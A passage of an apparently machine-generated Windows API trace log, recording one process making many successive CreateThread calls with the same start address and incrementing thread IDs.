lpThreadId=0x51391f8*=0x18e8) returned 0xc4c [0118.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18ec) returned 0xc50 [0118.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18f0) returned 0xc54 [0118.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18f4) returned 0xc58 [0118.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18f8) returned 0xc5c [0118.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18fc) returned 0xc60 [0118.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1900) returned 0xc64 [0118.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1904) returned 0xc68 [0118.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1908) returned 0xc6c [0118.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x190c) returned 0xc70 [0118.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1910) returned 0xc74 [0118.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1914) returned 0xc78 [0118.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1918) returned 0xc7c [0118.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x191c) returned 0xc80 [0118.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1920) returned 0xc84 [0118.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1924) returned 0xc88 [0118.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1928) returned 0xc8c [0118.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x192c) returned 0xc90 [0118.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1930) returned 0xc94 [0118.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1934) returned 0xc98 [0118.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1938) returned 0xc9c [0118.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x193c) returned 0xca0 [0118.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1940) returned 0xca4 [0118.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1944) returned 0xca8 [0118.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1948) returned 0xcac [0118.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x194c) returned 0xcb0 [0118.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1950) returned 0xcb4 [0118.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1954) returned 0xcb8 [0118.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1958) returned 0xcbc [0118.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x195c) returned 0xcc0 [0118.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1960) returned 0xcc4 [0118.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1964) returned 0xcc8 [0118.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1968) returned 0xccc [0118.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x196c) returned 0xcd0 [0118.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1970) returned 0xcd4 [0118.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1974) returned 0xcd8 [0118.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1978) returned 0xcdc [0118.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x197c) returned 0xce0 [0118.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1980) returned 0xce4 [0118.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1984) returned 0xce8 [0118.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1988) returned 0xcec [0118.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x198c) returned 0xcf0 [0118.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1990) returned 0xcf4 [0118.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1994) returned 0xcf8 [0118.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1998) returned 0xcfc [0118.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x199c) returned 0xd00 [0118.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19a0) returned 0xd04 [0118.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19a4) returned 0xd08 [0118.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19a8) returned 0xd0c [0118.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19ac) returned 0xd10 [0118.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19b0) returned 0xd14 [0118.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19b4) returned 0xd18 [0118.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19b8) returned 0xd1c [0118.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19bc) returned 0xd20 [0118.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19c0) returned 0xd24 [0118.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19c4) returned 0xd28 [0118.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19c8) returned 0xd2c [0118.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19cc) returned 0xd30 [0118.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19d0) returned 0xd34 [0118.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19d4) returned 0xd38 [0118.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19d8) returned 0xd3c [0118.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19dc) returned 0xd40 [0118.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19e0) returned 0xd44 [0118.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19e4) returned 0xd48 [0118.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19e8) returned 0xd4c [0118.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19ec) returned 0xd50 [0118.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19f0) returned 0xd54 [0118.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19f4) returned 0xd58 [0118.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19f8) returned 0xd5c [0118.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x19fc) returned 0xd60 [0118.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a00) returned 0xd64 [0118.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a04) returned 0xd68 [0118.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a08) returned 0xd6c [0118.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a0c) returned 0xd70 [0118.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a10) returned 0xd74 [0118.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a14) returned 0xd78 [0118.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a18) returned 0xd7c [0118.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a1c) returned 0xd80 [0118.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a20) returned 0xd84 [0118.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a24) returned 0xd88 [0118.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a28) returned 0xd8c [0118.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a2c) returned 0xd90 [0118.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a30) returned 0xd94 [0118.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a34) returned 0xd98 [0118.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a38) returned 0xd9c [0118.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a3c) returned 0xda0 [0118.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a40) returned 0xda4 [0118.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a44) returned 0xda8 [0118.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a48) returned 0xdac [0118.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a4c) returned 0xdb0 [0118.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a50) returned 0xdb4 [0118.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a54) returned 0xdb8 [0118.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a58) returned 0xdbc [0118.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a5c) returned 0xdc0 [0118.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a60) returned 0xdc4 [0118.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a64) returned 0xdc8 [0118.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a68) returned 0xdcc [0118.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a6c) returned 0xdd0 [0118.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a70) returned 0xdd4 [0118.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a74) returned 0xdd8 [0118.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a78) returned 0xddc [0119.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a7c) returned 0xde0 [0119.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a80) returned 0xde4 [0119.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a84) returned 0xde8 [0119.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a88) returned 0xdec [0119.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a8c) returned 0xdf0 [0119.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a90) returned 0xdf4 [0119.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a94) returned 0xdf8 [0119.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a98) returned 0xdfc [0119.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1a9c) returned 0xe00 [0119.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1aa0) returned 0xe04 [0119.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1aa4) returned 0xe08 [0119.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1aa8) returned 0xe0c [0119.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1aac) returned 0xe10 [0119.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ab0) returned 0xe14 [0119.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ab4) returned 0xe18 [0119.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ab8) returned 0xe1c [0119.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1abc) returned 0xe20 [0119.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ac0) returned 0xe24 [0119.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ac4) returned 0xe28 [0119.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: 